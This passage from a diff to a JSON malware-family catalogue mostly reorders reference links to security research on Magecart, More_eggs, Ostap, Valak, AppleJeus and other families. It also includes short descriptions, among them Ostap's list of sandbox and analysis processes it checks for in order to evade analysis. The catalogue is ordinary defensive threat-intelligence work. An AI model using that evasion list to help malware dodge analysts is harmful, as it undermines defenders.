"https://community.riskiq.com/article/743ea75b/description", + "https://blog.malwarebytes.com/threat-analysis/2020/06/web-skimmer-hides-within-exif-metadata-exfiltrates-credit-cards-via-image-files/", + "https://medium.com/reflectiz/csp-the-right-solution-for-the-web-skimming-pandemic-acb7a4414218", + "https://www.reflectiz.com/ico-fines-ticketmaster-uk-1-25-million-for-security-failures-a-lesson-to-be-learned/", + "https://blog.malwarebytes.com/threat-intelligence/2021/09/the-many-tentacles-of-magecart-group-8/", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", + "https://maxkersten.nl/2020/02/17/following-the-tracks-of-magecart-12/", + "https://www.riskiq.com/blog/labs/magecart-group-4-always-advancing/", + "https://www.zdnet.com/article/web-skimmers-found-on-the-websites-of-intersport-claires-and-icing/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://blog.malwarebytes.com/threat-analysis/2019/06/magecart-skimmers-found-on-amazon-cloudfront-cdn/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/us-local-government-services-targeted-by-new-magecart-credit-card-skimming-attack/", + "https://community.riskiq.com/article/30f22a00", + "https://maxkersten.nl/2020/01/20/ticket-resellers-infected-with-a-credit-card-skimmer/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/mirrorthief-group-uses-magecart-skimming-attack-to-hit-hundreds-of-campus-online-stores-in-us-and-canada/", + "https://twitter.com/MBThreatIntel/status/1416101496022724609", + "https://blog.malwarebytes.com/threat-intelligence/2021/10/q-logger-skimmer-keeps-magecart-attacks-going/", + "https://twitter.com/AffableKraut/status/1415425132080816133?s=20", + "https://geminiadvisory.io/magecart-google-tag-manager/", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://www.goggleheadedhacker.com/blog/post/14", "https://blog.trendmicro.com/trendlabs-security-intelligence/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops/", "https://geminiadvisory.io/wp-content/uploads/2020/07/Appendix-C-1.pdf", - "https://geminiadvisory.io/keeper-magecart-group-infects-570-sites/", - "https://community.riskiq.com/article/2efc2782", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0719.pdf", - "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", - "https://www.zdnet.com/article/web-skimmers-found-on-the-websites-of-intersport-claires-and-icing/", - "https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/", - "https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html", - "https://blog.malwarebytes.com/threat-intelligence/2021/09/the-many-tentacles-of-magecart-group-8/", - "https://blog.malwarebytes.com/threat-intelligence/2021/10/q-logger-skimmer-keeps-magecart-attacks-going/", - "https://twitter.com/MBThreatIntel/status/1416101496022724609", - "https://community.riskiq.com/article/017cf2e6", - "https://community.riskiq.com/article/5bea32aa", - "https://www.goggleheadedhacker.com/blog/post/14", - "https://www.reflectiz.com/ico-fines-ticketmaster-uk-1-25-million-for-security-failures-a-lesson-to-be-learned/", - "https://www.zscaler.com/blogs/security-research/black-friday-scams-4-emerging-skimming-attacks-watch-holiday-season", - "https://blog.trendmicro.com/trendlabs-security-intelligence/us-local-government-services-targeted-by-new-magecart-credit-card-skimming-attack/", - "https://www.riskiq.com/blog/labs/magecart-nutribullet/", - "https://www.riskiq.com/blog/labs/magecart-group-12-olympics/", - "https://twitter.com/AffableKraut/status/1385030485676544001", - "https://sansec.io/research/magento-2-persistent-parasite", - "https://blog.trendmicro.com/trendlabs-security-intelligence/mirrorthief-group-uses-magecart-skimming-attack-to-hit-hundreds-of-campus-online-stores-in-us-and-canada/", - "https://community.riskiq.com/article/14924d61", - "https://blog.sucuri.net/2021/07/magecart-swiper-uses-unorthodox-concatenation.html", - "https://medium.com/reflectiz/csp-the-right-solution-for-the-web-skimming-pandemic-acb7a4414218", - "https://sansec.io/labs/2020/01/25/magecart-hackers-arrested/", - "https://maxkersten.nl/2020/01/20/ticket-resellers-infected-with-a-credit-card-skimmer/", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://blog.sucuri.net/2020/07/skimmers-in-images-github-repos.html", - "https://community.riskiq.com/article/fda1f967", - "https://sansec.io/research/north-korea-magecart", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://blog.malwarebytes.com/cybercrime/2019/04/github-hosted-magecart-skimmer-used-against-hundreds-of-e-commerce-sites/", - "https://blog.malwarebytes.com/threat-intelligence/2021/11/credit-card-skimmer-evades-virtual-machines/", + "https://scotthelme.co.uk/introducing-script-watch-detect-magecart-style-attacks-fast/?utm_source=dlvr.it&utm_medium=twitter", "https://blog.sucuri.net/2020/06/evasion-tactics-in-hybrid-credit-card-skimmers.html", - "https://geminiadvisory.io/magecart-google-tag-manager/", - "https://www.riskiq.com/blog/labs/magecart-medialand/", + "https://blog.malwarebytes.com/threat-intelligence/2021/11/credit-card-skimmer-evades-virtual-machines/", + "https://geminiadvisory.io/keeper-magecart-group-infects-570-sites/", + "https://community.riskiq.com/article/14924d61", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/injecting-magecart-into-magento-global-config/", "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://blog.trendmicro.com/trendlabs-security-intelligence/magecart-skimming-attack-targets-mobile-users-of-hotel-chain-booking-websites/", - "https://blog.malwarebytes.com/cybercrime/2021/05/newly-observed-php-based-skimmer-shows-ongoing-magecart-group-12-activity/", - "https://twitter.com/AffableKraut/status/1415425132080816133?s=20" + "https://community.riskiq.com/article/743ea75b/description", + "https://www.reflectiz.com/the-gocgle-web-skimming-campaign/", + "https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html", + "https://www.perimeterx.com/blog/analyzing_magecart_malware_from_zero_to_hero/", + "https://sansec.io/research/north-korea-magecart" ], "synonyms": [], "type": [] @@ -8261,33 +8623,33 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.more_eggs", - "https://sec0wn.blogspot.com/2023/03/how-do-you-like-dem-eggs-i-like-mine.html?m=1", - "https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf", - "https://www.esentire.com/blog/hackers-spearphish-corporate-hiring-managers-with-poisoned-resumes-infecting-them-with-the-more-eggs-malware", - "https://www.secureworks.com/research/threat-profiles/gold-kingswood", - "http://www.secureworks.com/research/threat-profiles/gold-kingswood", - "https://www.esentire.com/web-native-pages/unmasking-venom-spider", - "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", - "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/", - "https://twitter.com/Arkbird_SOLG/status/1301536930069278727", - "https://mp.weixin.qq.com/s/REXBtbnI2zXj4H3u6ofMMw", - "https://attack.mitre.org/software/S0284/", - "https://www.proofpoint.com/us/threat-insight/post/fake-jobs-campaigns-delivering-moreeggs-backdoor-fake-job-offers", - "https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/", - "https://asert.arbornetworks.com/double-the-infection-double-the-fun/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://github.com/eset/malware-ioc/tree/master/evilnum", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/", - "https://blog.morphisec.com/cobalt-gang-2.0", - "https://www.securonix.com/blog/threat-labs-security-advisory-new-ocxharvester-attack-campaign-leverages-modernized-more_eggs-suite/", - "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/", "https://expel.com/blog/more-eggs-and-some-linkedin-resume-spearphishing", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://sec0wn.blogspot.com/2023/03/how-do-you-like-dem-eggs-i-like-mine.html?m=1", + "https://www.securonix.com/blog/threat-labs-security-advisory-new-ocxharvester-attack-campaign-leverages-modernized-more_eggs-suite/", + "https://www.secureworks.com/research/threat-profiles/gold-kingswood", "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", - "https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish", "https://www.esentire.com/security-advisories/hackers-spearphish-professionals-on-linkedin-with-fake-job-offers-infecting-them-with-malware-warns-esentire", - "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/" + "https://www.proofpoint.com/us/threat-insight/post/fake-jobs-campaigns-delivering-moreeggs-backdoor-fake-job-offers", + "https://blog.morphisec.com/cobalt-gang-2.0", + "https://www.esentire.com/web-native-pages/unmasking-venom-spider", + "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/", + "https://github.com/eset/malware-ioc/tree/master/evilnum", + "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/", + "https://asert.arbornetworks.com/double-the-infection-double-the-fun/", + "https://twitter.com/Arkbird_SOLG/status/1301536930069278727", + "http://www.secureworks.com/research/threat-profiles/gold-kingswood", + "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/", + "https://attack.mitre.org/software/S0284/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/", + "https://mp.weixin.qq.com/s/REXBtbnI2zXj4H3u6ofMMw", + "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf", + "https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish", + "https://www.esentire.com/blog/hackers-spearphish-corporate-hiring-managers-with-poisoned-resumes-infecting-them-with-the-more-eggs-malware", + "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/" ], "synonyms": [ "SKID", @@ -8303,10 +8665,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.nanhaishu", - "https://attack.mitre.org/software/S0228/", - "https://community.spiceworks.com/topic/1028936-stealthy-cyberespionage-campaign-attacks-with-social-engineering", "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf", - "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", + "https://attack.mitre.org/software/S0228/", + "https://community.spiceworks.com/topic/1028936-stealthy-cyberespionage-campaign-attacks-with-social-engineering" ], "synonyms": [], "type": [] @@ -8319,9 +8681,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.node_rat", - "https://blogs.jpcert.or.jp/ja/2019/02/tick-activity.html", + "https://www.virusbulletin.com/virusbulletin/2020/05/vb2019-paper-apt-cases-exploiting-vulnerabilities-regionspecific-software/", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf", - "https://www.virusbulletin.com/virusbulletin/2020/05/vb2019-paper-apt-cases-exploiting-vulnerabilities-regionspecific-software/" + "https://blogs.jpcert.or.jp/ja/2019/02/tick-activity.html" ], "synonyms": [], "type": [] @@ -8330,19 +8692,19 @@ "value": "NodeRAT" }, { - "description": "Ostap is a commodity JScript downloader first seen in campaigns in 2016. It has been observed being delivered in ACE archives and VBA macro-enabled Microsoft Office documents. Recent versions of Ostap query WMI to check for a blacklist of running processes:\r\n\r\nAgentSimulator.exe\r\nanti-virus.EXE\r\nBehaviorDumper\r\nBennyDB.exe\r\nctfmon.exe\r\nfakepos_bin\r\nFrzState2k\r\ngemu-ga.exe (Possible misspelling of Qemu hypervisor’s guest agent, qemu-ga.exe)\r\nImmunityDebugger.exe\r\nKMS Server Service.exe\r\nProcessHacker\r\nprocexp\r\nProxifier.exe\r\npython\r\ntcpdump\r\nVBoxService\r\nVBoxTray.exe\r\nVmRemoteGuest\r\nvmtoolsd\r\nVMware2B.exe\r\nVzService.exe\r\nwinace\r\nWireshark\r\n\r\nIf a blacklisted process is found, the malware terminates.\r\n\r\nOstap has been observed delivering other malware families, including Nymaim, Backswap and TrickBot.", + "description": "Ostap is a commodity JScript downloader first seen in campaigns in 2016. It has been observed being delivered in ACE archives and VBA macro-enabled Microsoft Office documents. Recent versions of Ostap query WMI to check for a blacklist of running processes:\r\n\r\nAgentSimulator.exe\r\nanti-virus.EXE\r\nBehaviorDumper\r\nBennyDB.exe\r\nctfmon.exe\r\nfakepos_bin\r\nFrzState2k\r\ngemu-ga.exe (Possible misspelling of Qemu hypervisor\u2019s guest agent, qemu-ga.exe)\r\nImmunityDebugger.exe\r\nKMS Server Service.exe\r\nProcessHacker\r\nprocexp\r\nProxifier.exe\r\npython\r\ntcpdump\r\nVBoxService\r\nVBoxTray.exe\r\nVmRemoteGuest\r\nvmtoolsd\r\nVMware2B.exe\r\nVzService.exe\r\nwinace\r\nWireshark\r\n\r\nIf a blacklisted process is found, the malware terminates.\r\n\r\nOstap has been observed delivering other malware families, including Nymaim, Backswap and TrickBot.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.ostap", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://malfind.com/index.php/2021/11/24/from-the-archive-1-ostap-dropper-deobfuscation-and-analysis/", + "https://www.intrinsec.com/deobfuscating-hunting-ostap/", + "https://www.bromium.com/deobfuscating-ostap-trickbots-javascript-downloader/", "https://blog.trendmicro.com/trendlabs-security-intelligence/latest-trickbot-campaign-delivered-via-highly-obfuscated-js-file/", "https://www.cert.pl/en/news/single/ostap-malware-analysis-backswap-dropper/", - "https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/deobfuscate_ostap.py", "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", - "https://www.intrinsec.com/deobfuscating-hunting-ostap/", - "https://malfind.com/index.php/2021/11/24/from-the-archive-1-ostap-dropper-deobfuscation-and-analysis/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.bromium.com/deobfuscating-ostap-trickbots-javascript-downloader/", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" + "https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/deobfuscate_ostap.py", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [], "type": [] @@ -8368,9 +8730,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.peacenotwar", - "https://www.vice.com/en/article/dypeek/open-source-sabotage-node-ipc-wipe-russia-belraus-computers", "https://www.bleepingcomputer.com/news/security/big-sabotage-famous-npm-package-deletes-files-to-protest-ukraine-war/", - "https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c" + "https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c", + "https://www.vice.com/en/article/dypeek/open-source-sabotage-node-ipc-wipe-russia-belraus-computers" ], "synonyms": [], "type": [] @@ -8378,6 +8740,19 @@ "uuid": "6c304481-024e-4f34-af06-6235edacfdcc", "value": "PeaceNotWar" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/js.pindos", + "https://www.deepinstinct.com/blog/pindos-new-javascript-dropper-delivering-bumblebee-and-icedid" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6af1eb7a-bc54-43af-9e15-7187a5f250c4", + "value": "PindOS" + }, { "description": "", "meta": { @@ -8396,8 +8771,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.qnodeservice", - "https://blog.trendmicro.com/trendlabs-security-intelligence/qnodeservice-node-js-trojan-spread-via-covid-19-lure/", - "https://www.telsy.com/wp-content/uploads/MAR_93433_WHITE.pdf" + "https://www.telsy.com/wp-content/uploads/MAR_93433_WHITE.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/qnodeservice-node-js-trojan-spread-via-covid-19-lure/" ], "synonyms": [], "type": [] @@ -8423,13 +8798,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.scanbox", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/attacker-tracking-users-seeking-pakistani-passport/", - "https://www.volexity.com/blog/2019/09/02/digital-crackdown-large-scale-surveillance-and-exploitation-of-uyghurs/", - "https://www.proofpoint.com/us/blog/threat-insight/chasing-currents-espionage-south-china-sea", - "https://www.alienvault.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks", "https://www.proofpoint.com/us/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global", "http://resources.infosecinstitute.com/scanbox-framework/", - "https://www.secureworks.com/research/threat-profiles/bronze-mohawk" + "https://www.alienvault.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks", + "https://www.proofpoint.com/us/blog/threat-insight/chasing-currents-espionage-south-china-sea", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/attacker-tracking-users-seeking-pakistani-passport/", + "https://www.volexity.com/blog/2019/09/02/digital-crackdown-large-scale-surveillance-and-exploitation-of-uyghurs/" ], "synonyms": [], "type": [] @@ -8442,9 +8817,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.sqlrat", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf" + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" ], "synonyms": [], "type": [] @@ -8483,9 +8858,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.turla_ff_ext", + "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", - "https://www.welivesecurity.com/2017/06/06/turlas-watering-hole-campaign-updated-firefox-extension-abusing-instagram/", - "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/" + "https://www.welivesecurity.com/2017/06/06/turlas-watering-hole-campaign-updated-firefox-extension-abusing-instagram/" ], "synonyms": [], "type": [] @@ -8572,20 +8947,21 @@ "value": "Unidentified JS 002" }, { - "description": "", + "description": "According to PCrisk, Valak is malicious software that downloads JScript files and executes them. What happens next depends on the actions performed by the executed JScript files. It is very likely that cyber criminals behind Valak attempt to use this malware to cause chain infections (i.e., using Valak to distribute other malware).\r\n\r\nResearch shows that Valak is distributed through spam campaigns, however, in some cases, it infiltrates systems when they are already infected with malicious program such as Ursnif (also known as Gozi).", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.valak", + "https://cocomelonc.github.io/malware/2023/07/26/malware-tricks-35.html", + "https://medium.com/@prsecurity_/casual-analysis-of-valak-c2-3497fdb79bf7", + "https://labs.sentinelone.com/valak-malware-and-the-connection-to-gozi-loader-confcrew/", + "https://blog.talosintelligence.com/2020/07/valak-emerges.html", + "https://twitter.com/malware_traffic/status/1207824548021886977", + "https://security-soup.net/analysis-of-valak-maldoc/", + "https://threatresearch.ext.hp.com/detecting-ta551-domains/", "https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/", "https://unit42.paloaltonetworks.com/atoms/monsterlibra/", - "https://threatresearch.ext.hp.com/detecting-ta551-domains/", - "https://medium.com/@prsecurity_/casual-analysis-of-valak-c2-3497fdb79bf7", "https://www.cybereason.com/blog/valak-more-than-meets-the-eye", - "https://unit42.paloaltonetworks.com/valak-evolution/", - "https://blog.talosintelligence.com/2020/07/valak-emerges.html", - "https://security-soup.net/analysis-of-valak-maldoc/", - "https://labs.sentinelone.com/valak-malware-and-the-connection-to-gozi-loader-confcrew/", - "https://twitter.com/malware_traffic/status/1207824548021886977" + "https://unit42.paloaltonetworks.com/valak-evolution/" ], "synonyms": [ "Valek" @@ -8613,10 +8989,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jsp.godzilla_webshell", - "https://blog.gigamon.com/2022/09/28/investigating-web-shells/", - "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/", + "https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/", "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/", - "https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/" + "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/", + "https://blog.gigamon.com/2022/09/28/investigating-web-shells/" ], "synonyms": [], "type": [] @@ -8643,6 +9019,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.amos", + "https://denshiyurei.medium.com/silent-echoes-the-hidden-dialogue-among-malware-entities-spotlight-on-amos-infostealer-6d7cd70e3219", "https://blog.cyble.com/2023/04/26/threat-actor-selling-new-atomic-macos-amos-stealer-on-telegram/" ], "synonyms": [ @@ -8658,28 +9035,30 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.applejeus", - "https://www.youtube.com/watch?v=1NkzTKkEM2k", - "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://blog.sekoia.io/the-dprk-delicate-sound-of-cyber/", - "https://posts.specterops.io/introducing-venator-a-macos-tool-for-proactive-detection-34055a017e56", - "https://objective-see.com/blog/blog_0x5F.html", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", - "https://objective-see.com/blog/blog_0x54.html", - "https://objective-see.com/blog/blog_0x49.html", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a", - "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", - "https://securelist.com/operation-applejeus-sequel/95596/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-north-korea-indictment", "https://securelist.com/operation-applejeus/87553/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f", + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e", + "https://objective-see.com/blog/blog_0x49.html", + "https://vblocalhost.com/uploads/VB2021-Park.pdf", + "https://securelist.com/operation-applejeus-sequel/95596/", + "https://posts.specterops.io/introducing-venator-a-macos-tool-for-proactive-detection-34055a017e56", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d", + "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c", + "https://blog.sekoia.io/the-dprk-delicate-sound-of-cyber/", + "https://www.youtube.com/watch?v=1NkzTKkEM2k", + "https://objective-see.com/blog/blog_0x54.html", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://www.youtube.com/watch?v=rjA0Vf75cYk" + "https://www.youtube.com/watch?v=rjA0Vf75cYk", + "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "https://objective-see.com/blog/blog_0x5F.html", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b" ], "synonyms": [], "type": [] @@ -8692,8 +9071,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.bella", - "https://github.com/kai5263499/Bella", "https://threatintel.blog/OPBlueRaven-Part2/", + "https://github.com/kai5263499/Bella", "https://blog.malwarebytes.com/threat-analysis/2017/05/another-osx-dok-dropper-found-installing-new-backdoor/" ], "synonyms": [], @@ -8707,10 +9086,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.bundlore", - "https://labs.sentinelone.com/resourceful-macos-malware-hides-in-named-fork/", - "https://twitter.com/ConfiantIntel/status/1393215825931288580?s=20", "https://www.trendmicro.com/en_hk/research/21/f/nukesped-copies-fileless-code-from-bundlore--leaves-it-unused.html", + "https://twitter.com/ConfiantIntel/status/1393215825931288580?s=20", "https://blog.confiant.com/new-macos-bundlore-loader-analysis-ca16d19c058c", + "https://labs.sentinelone.com/resourceful-macos-malware-hides-in-named-fork/", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf" ], "synonyms": [ @@ -8755,8 +9134,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.cdds", - "https://www.sentinelone.com/labs/infect-if-needed-a-deeper-dive-into-targeted-backdoor-macos-macma/", "https://objective-see.com/blog/blog_0x69.html", + "https://www.sentinelone.com/labs/infect-if-needed-a-deeper-dive-into-targeted-backdoor-macos-macma/", "https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/" ], "synonyms": [ @@ -8772,11 +9151,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.choziosi", - "https://www.gdatasoftware.com/blog/2022/01/37236-qr-codes-on-twitter-deliver-malicious-chrome-extension", - "https://www.th3protocol.com/2022/Choziosi-Loader", - "https://blogs.blackberry.com/en/2022/11/chromeloader-infects-the-browser-by-loading-malicious-extension", "https://redcanary.com/blog/chromeloader/", - "https://www.crowdstrike.com/blog/how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign/" + "https://www.crowdstrike.com/blog/how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign/", + "https://blogs.blackberry.com/en/2022/11/chromeloader-infects-the-browser-by-loading-malicious-extension", + "https://www.gdatasoftware.com/blog/2022/01/37236-qr-codes-on-twitter-deliver-malicious-chrome-extension", + "https://www.th3protocol.com/2022/Choziosi-Loader" ], "synonyms": [ "ChromeLoader", @@ -8792,8 +9171,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.cloud_mensis", - "https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/", - "https://twitter.com/ESETresearch/status/1575103839115804672" + "https://twitter.com/ESETresearch/status/1575103839115804672", + "https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/" ], "synonyms": [], "type": [] @@ -8802,12 +9181,12 @@ "value": "CloudMensis" }, { - "description": "CoinThief was a malware package designed to steal Bitcoins from the victim, consisting of a binary patcher, browser extensions, and a backdoor component. \r\n\r\nIt was spreading in early 2014 from several different sources: \r\n- on Github (where the trojanized compiled binary didn’t match the displayed source code), o\r\n- on popular and trusted download sites line CNET's Download.com or MacUpdate.com, and \r\n- as cracked applications via torrents camouflaged as Bitcoin Ticker TTM, BitVanity, StealthBit, Litecoin Ticker, BBEdit, Pixelmator, Angry Birds and Delicious Library.\r\n\r\nThe patcher‘s role was to locate and modify legitimate versions of the Bitcoin-Qt wallet application. The analyzed malware samples targeted versions of Bitcoin-Qt 0.8.1, 0.8.0 and 0.8.5. The earlier patch modified Bitcoin-Qt adding malicious code that would send nearly all the victim’s Bitcoins to one of the hard-coded addresses belonging to the attacker. \r\n\r\nThe browser extensions targeted Chrome and Firefox and are disguised as a “Pop-up blocker”. The extensions monitored visited websites, download malicious JavaScripts and injected them into various Bitcoin-related websites (mostly Bitcoin exchanges and online wallet sites). The injected JS scripts were able to modify transactions to redirect Bitcoin transfers to an attacker’s address or simply harvest login credentials to the targeted online service.\r\n\r\nThe backdoor enabled the attacker to take full control over the victim’s computer:\r\n- 